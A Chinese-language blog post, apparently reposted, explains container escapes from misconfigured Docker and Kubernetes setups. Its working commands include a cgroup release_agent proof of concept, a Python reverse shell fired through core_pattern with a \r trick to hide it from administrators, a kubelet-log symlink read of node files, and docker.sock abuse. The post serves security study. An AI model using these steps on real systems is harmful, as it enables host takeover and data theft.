配置不当导致的容器逃逸
source link: https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
代码安全搞不动了,这几天又开始摸鱼k8s,记录下一些由于配置不当导致的容器逃逸,以及一些利用方式和原理。
privileged特权模式
privileged简介
docker中提供了一个--privileged
参数,这个参数本身最初的目的是为了提供在docker中运行docker的能力
https://www.docker.com/blog/docker-can-now-run-within-docker/
docker文档中对这个参数的解释如下
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
当操作员执行时docker run –privileged,Docker将启用对主机上所有设备的访问,并在AppArmor或SELinux中进行一些配置,以允许容器对主机的访问几乎与在主机上容器外部运行的进程相同。
如何启动一个特权模式容器
在docker命令行中可以通过如下命令启动一个特权容器
docker run -it --privileged nginx /bin/bash
k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器
securityContext:
privileged: true
如何检测当前环境是否是以特权模式启动
在容器中时可以通过如下参数检测当前容器是否是以特权模式启动
cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff
对应的掩码值应该为0000003fffffffff
这里可以稍微延申一下linux的Capabilities机制
https://man7.org/linux/man-pages/man7/capabilities.7.html
它对用户的权限进行了更细致的分类,可以对单个线程进行更精度的权限控制。避免粗暴的root特权用户和常规用户的简单区分。当一个进程要进行某个特权操作时,操作系统会检查cap_effective的对应位是否有效,而不再是检查进程的有效UID是否为0。
一个线程拥有五个Capabilities集合Permitted
、Inheritable
、Effective
、Bounding
和Ambient
分别对应了/proc/self/status
中的CapPrm
、CapInh
、CapEff
、CapBnd
和CapAmb
Effective
集合就是主要的当前线程特权操作权限(Capabilities)的集合。
例如通过sudo -s
切换成root用户之后就可以看到Capabilities权限的变化
通过capsh
命令可以解码出具体的Capabilitie
简而言之,如果当前容器中的CapEff
为0000003fffffffff
时则有了宿主机root用户的特权模式
挂载宿主机目录
在特权模式下,可以直接挂载宿主机的磁盘,chroot之后就可以像访问本地文件一样,读取宿主机上的文件
mkdir /abc
mount /dev/sda1 /abc
chroot /abc/
或者其实这里写下crontab应该也可getshell
执行宿主机系统命令
如下文章中给出了这样一个思路,通过notify_on_release
实现容器逃逸
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
先给出poc,在宿舍机上执行了ps aux
,并将结果写入/ouput
文件
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
可以看到创建了一个cgroup,并且通过notify_on_release
机制执行容器中的可执行文件。
https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
并且其中通过sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
获取当前容器文件路径在宿主机上的绝对路径也算一个小trick。
这样就可以在宿主机上执行容器中的文件,并将结果写入容器中的文件。
并且这个利用方式的要求比完全特权模式要更宽松一些,只需要满足以下条件即可
- 以root用户身份在容器内运行
- 使用SYS_ADMINLinux功能运行
- 缺少AppArmor配置文件,否则将允许mountsyscall
- cgroup v1虚拟文件系统必须以读写方式安装在容器内
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
挂载/proc
linux中的/proc
目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态。
当docker启动时将/proc
目录挂载到容器内部时可以实现逃逸。
通过文档可知,/proc/sys/kernel/core_pattern
文件是负责进程奔溃时内存数据转储的,当第一个字符是|
管道符时,后面的的部分会以命令行的方式进行解析并运行。
https://man7.org/linux/man-pages/man5/core.5.html
并且由于容器共享主机内核的原因,这个命令是以宿主机的权限运行的。
由于管道符的原因,错误的数据可能会扰乱我们的命令,因此这里用python接受并且忽略错误数据。
#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.17.0.1"
lport = 10000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
并且创建一个会抛出段错误的程序
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
然后在core_pattern
文件中写入运行反弹shell的命令(这里需要注意由于是以宿主机上的权限运行的,因此python的路径则也是docker目录的路径)
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo -e "|$host_path/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern
\r
之后的内容主要是为了为了管理员通过cat
命令查看内容时隐蔽我们写入恶意命令。
这样当我们运行c文件之后,就会抛出段错误,然后执行core_pattern
中的命令(运行成功core_pattern
时会有core dumped
的输出)
此时就能监听到返回的shell
挂载/var/log
https://github.com/danielsagi/kube-pod-escape
这里用单纯的挂载/var/log
来形容这个逃逸的触发条件其实不太严谨,需要满足如下条件。
- 挂载了
/var/log
- 容器是在一个k8s的环境中
- 当前pod的serviceaccount拥有get|list|watch log的权限
个人感觉这个条件其实还是蛮合理的,并不牵强,类似于赋予了当前pod一个读取日志的能力。
当满足以上条件时,可以与node节点的10250端口进行通信,并通过软链接的方式读取node上的文件。
通过github中给出的yaml文件可以快速启动这样一个场景。可以来分析以下这个yaml配置到底做了些什么操作。
apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
rules:
- apiGroups: [""]
resources:
- nodes/log
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
- kind: ServiceAccount
name: logger
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
serviceAccountName: logger
containers:
- name: escaper
image: danielsagi/kube-pod-escape
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory
可以看到前三个配置主要是设置了一个nodes/log
的get|list|watch
权限,并且将这个权限赋予给logger对象。再以logger对象启动了一个pod。
这时候在pod中通过serviceaccount的token就可以访问node上10250端口并获取log
token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://172.17.0.1:10250/logs/ -H "Authorization: Bearer $token"
当然,访问一些/pods
之类的目录时由于没有权限,访问会被禁止
继续回到logs,这个目录其实就是当前容器上被挂载的/var/log/host
目录
同时也是node节点上的/var/log/
这样当我们通过软链接的方式在当前log目录下创建一个指向根目录的链接时
ln -s / ./root_link
在容器和node中这个root_link
文件指向的都是自己本机的根目录
因此通过node的10250访问logs/root_link
时,访问到的是node节点上的根目录,从而就可以读取到node机子上的文件
github中的脚本则通过这种方式遍历了node节点上的敏感文件,并下载到本地
https://github.com/danielsagi/kube-pod-escape/blob/master/find_sensitive_files.py
挂载docker.sock
docker cli默认通过unix套接字与容器进行通信以及下发指令,当挂载了/var/run/docker.sock
文件时,就可以对这个unix套接字文件下发docker指令,就像在node机器上操纵docker一样。
这里通过如下命令挂载/var/run
目录
sudo docker run --rm -it -v /var/run/:/host-var-run/ centos /bin/bash
为了方便这里我们将自己机子上的docker cli cp进容器。(尝试过在容器中直接yum但是下载下来的cli似乎不能用,建议实战中直接传一个cli)
然后通过-H
命令指定unix套接字文件的地址即可
./docker -H unix:///host-var-run/docker.sock ps
这样能操纵宿主机上的docker
这样容器逃逸也就变得简单了,直接新起一个docker,将宿主机的根目录挂载进去,并且以特权模式启动。
之后的过程就很简单了,这里就不赘述了。
References
https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247487393&idx=1&sn=6cec3da009d25cb1c766bb9dae809a86&chksm=e84fa97edf382068250b4811419aa17811c7f244ab87dcbcbe63be328f98ecaf0ab9feeedf8c&scene=21#wechat_redirect
https://mp.weixin.qq.com/s?subscene=19&__biz=MzIyODYzNTU2OA==&mid=2247487590&idx=1&sn=060a8bdf2ddfaff6ceae5cb931cb27ab&chksm=e84fb6b9df383faf1723040a0d6f0300c9517db902ef0010e230d8e802b1dfe9d8b95e6aabbd
https://xz.aliyun.com/t/7881
https://xz.aliyun.com/t/8558
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
https://www.docker.com/blog/docker-can-now-run-within-docker/
https://man7.org/linux/man-pages/man7/capabilities.7.html
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
https://man7.org/linux/man-pages/man5/core.5.html
https://github.com/danielsagi/kube-pod-escape
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK